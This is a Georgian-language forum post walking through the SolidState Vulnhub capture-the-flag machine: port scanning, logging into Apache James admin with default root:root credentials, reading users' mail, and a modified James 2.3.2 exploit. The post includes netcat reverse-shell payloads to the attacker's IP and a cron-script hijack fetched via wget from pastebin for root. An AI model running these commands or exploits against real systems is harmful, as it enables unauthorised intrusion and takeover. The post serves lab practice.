SolidState Vulnhub სავარჯიშო | Cyber Community | Hi-Tech World - CYBSECGROUP
Welcome to the CYBSECGROUP Forum
You have the opportunity to get acquainted with interesting projects in an interesting environment
Registration

SolidState Vulnhub სავარჯიშო

Z3R0

Hacktivist 🌐
ადმინისტრატორი
Alien 👽
Aug 9, 2018
105
173
MUGLAGLA ·
#1
გამარჯობა მეგობრებო, განვაგრძნობ Vulnhub-ის სავარჯიშოების კეთებას, დღეს მინდა განვიხილო Solidstate რომელიც თავდაპირველად შექმნილი იყო პლატფორმა hackthebox-ისათვის

ეს დავალება იყოფა ორ ნაწილად პირველია user.txt (დაბალპრივილეგიური ფალის მოპოვება) მეორეა root.txt უმაღლესი პრივილეგიის მქონე იუზერის მფლობელობაში მყოფი ფაილი

ამ სტატიის წაკითხვამდე რეკომენდირებულია გადახედოთ წინა სტატიებს!

Solidstate-ს გადმოწერა შეგიძლიათ შემდეგი ბმულიდან : CYBSECGROUP

გადმოვწეროთ მანქანა, გავუშვათ და ჩვენი ლინუქსიდან დავიწყოთ მისი აიპის პოვნა

როგორც ყოველთვის, ვიყენებთ netdiscover კომანდს რათა ვიპოვნოთ მოწყობილობის აიპი

აიპი ადრესის პოვნის შემდეგ დავიწყოთ პორტების სკანირება

Code:
nmap -sC -sV 192.168.50.205 -p1-10000
192.168.50.205 -ს ნაცვლად ჩაწერეთ აიპი რომელიც თქვენთან ეკუთვნის SolidState მანქანას

რეზულტატი გამოიყურება შემდეგნაირად


┌─[root@parrot]─[/home/user/Desktop]
└──╼ #nmap -sC -sV 192.168.50.205 -p 1-10000
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-16 12:46 UTC
Nmap scan report for solidstate (192.168.50.205)
Host is up (0.000090s latency).
Not shown: 9994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
| 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
| 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp open smtp JAMES smtpd 2.3.2
|_smtp-commands: solidstate Hello solidstate (parrot [192.168.50.232]),
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
110/tcp open pop3 JAMES pop3d 2.3.2
119/tcp open nntp JAMES nntpd (posting ok)
4555/tcp open james-admin JAMES Remote Admin 2.3.2
MAC Address: 08:00:27:DB:F9:C8 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.27 seconds


ვცადოთ 4555 პორტთან დაკავშირება netcat ის საშუალებით
Code:
nc 192.168.50.205 4555
რამდენიმე მცდელობის შემდეგ ძალიან მარტივი იყო პაროლის და იუზერნეიმის გამოცნობა, ეს იყო root:root

HELP კომანდის გაშვებისას remote addmin გვიჩვენებს შესაძლო ბრძანებებს, ბრძანება listuser აბრუნებს შემდეგ პასხუს:

listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin


მოდით ყველა იუზერს შევუცვალოთ პაროლი და სათითაოდ ვცადოთ ტელნეტით დაკავშირება pop3 პროტოკოლზე


ვცადოთ სათითაოდ ავტორიზაცია ამ იუზერებისთვის pop3 პროტოკოლით



ჯეიმსს ჰქონდა მხოლოდ 1 ფოსტაა რომელშიც ეწერა რომ ახალ თანამშრომელ mindy ს გაუგზავნეს დროებითი პაროლი, ვცადოთ ავტორიზაცია მის ექაუნთში

ამ იუზერს ჰქონდა მხოლოდ 2 ფოსტა და აქედან მეორეში ეწერა მისი პაროლი



ვცადოთ მისი იუზერით SSH ავტორიზაცია

ჩვენ წარმატებით გავიარეთ ავტორიზაცია და მის ჰოუმ დირექტორიაში დევს პირველი დროშა, user.txt



ამის შემდეგ გადავიდეთ პრივილეგიებს ესკალაციაზე, ვინაიდან და რადგანაც mindy-ს არგვაქვს სისტემაში უმეტესი ბრძნაებების გაშვების უფლება ვცადოთ რაიმე სხვა მეთოდი რომლითაც სრულ წვდომას ავიღებთ სერვერზე

ყველაზე კარგ ვარიანტს ამისთვის წარმოადგენს apache james-ის ექსპლუატაცია ამ ვერსიისთვის შეგვიძლია გამოვიყენოთ ეს ექსპლოიტი :

CYBSECGROUP

გადმოვიტანოთ კოდი ჩვენთან, და შევცვალოთ payload ის ნაწილი, ისე რომ სისტემამ მოგვცეს ჩვენს აიპი მისამართზე remote code execution

ფეილოადისთვის გამოვიყენოთ ნეტკატი, რომელიც მოგცემს ჩვენს აიპი-ზე შელს, მაგრამ ჯერ ჩვენს მხარეს დავიყოთ პორტ 1234 -ზე ნეტკატით მოსმენა

თქვენს ტერმინალში გაუშვით შემდეგი კომანდი :
Code:
nc -lvnp 1234
ხოლო ექსპლოიტში ჩაასწორეთ ფეილადი შემდეგნაირად
Code:
payload = 'nc 192.168.50.232 1234 -e /bin/bash' # to exploit only on root
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root
ექსპლოიტი მუშაობს შემდეგნაირად: ჩვენი ფეილოადი იგზავნება როგორც ფოსტა და ის აქტიურდება მას შემდეგ რაც რომელიმე მომხმარებელი გაივლის ავტორიზაციას

გავიაროთ ხელახალი ავტორიზაცია mindy-ს სახელით და ავიღოთ სრული წვდომა კომანდებზე



მასშემდეგ რაც ჩვენ გავიარეთ ავტორიზაცია netcat-ში ჩვენთვის გაიხსნა შელი, დავიწყოთ პრივილეგიების ესკალაცია რათა წავიკითხოთ root.txt ფაილი

დასაწყისისთვის ვცადე ლინუქსისთვის ენუმერაციის ჩატარება და ტემპ დირექტორიაში შევქმენი საქაღალდე რომელშიც ვიმუშავებდი მაგრამ სისტემამ ეს ფაილი რაღაც დროის შემდეგ წამიშალა, დიდად სავარაუდო იყო რომ სისტემაში არსებობდა cronjob რომელიც რაღაც დროის შემდეგ შლიდა ტემპ ფოლდერში არსებულ ფაილებს პროცესებზე დაკვირვების შემდეგ აღმოვაჩინე ფაილი /opt/tmp.py რომელშიც ეწერა პითონის კოდი

import os
import sys
try:
os.system('rm -r /tmp/*')
except:
sys.exit()


/opt დირექტორია არაა ჩაწერადი დაბალ პრივილეგიური იუზერისთვის თუმცა შეგვიძლია ამ ფაილის ჩანაცვლება, ჩვენს სისტემაში დავწეროთ მსგავი ტიპის პითონის კოდი

Code:
import os
os.system('/bin/nc -e /bin/bash 192.168.50.232 8888')
და ავტვირთოთ სადმე, თუნდაც ფეისთბინზე, ხოლო მსხვერპლ სისტემაში ეს კოდი გადავწეროთ wget -ის საშუალებით
შევიდეთ მსხვერპლის ტემპ დირექტორიაში და გადმოვწეროთ ჩვენი კოდი

Code:
cd /tmp
wget https://pastebin.com/raw/RX42jVN
mv RX42jVN tmp.py //გადავარქვათ გადმოწერილ ფაილს სახელი
cp tmp.py /opt/pmp.py  გადავიტანოთ ჩვენი კოდი opt დირექტორიაში
ჩვენს მხარეს დავიწყოთ 8888 პორტის მოსმენა

nc -lvnp 8888

კრონი ამ შემთხვევაში ეშვება ყოველ 5 წუთში, დაველოდოთ კრონის გაშვებას და ტერმინალში სადაც 8888 პორტს ვუსმენდით გაიხსნება ახალი კავშირი,
და წავიკითხოთ /root/root.txt

და აი დროშა : b4c9723a28899b1c45db281d99cc87c9

სულ ეს იყო, ძალიან კარგი და სახალისო დავალება იყო, გისურვებთ წარმატებას, პატივისცემით Z3R0, კითხვების ნუ მოგერიდებათ <3 !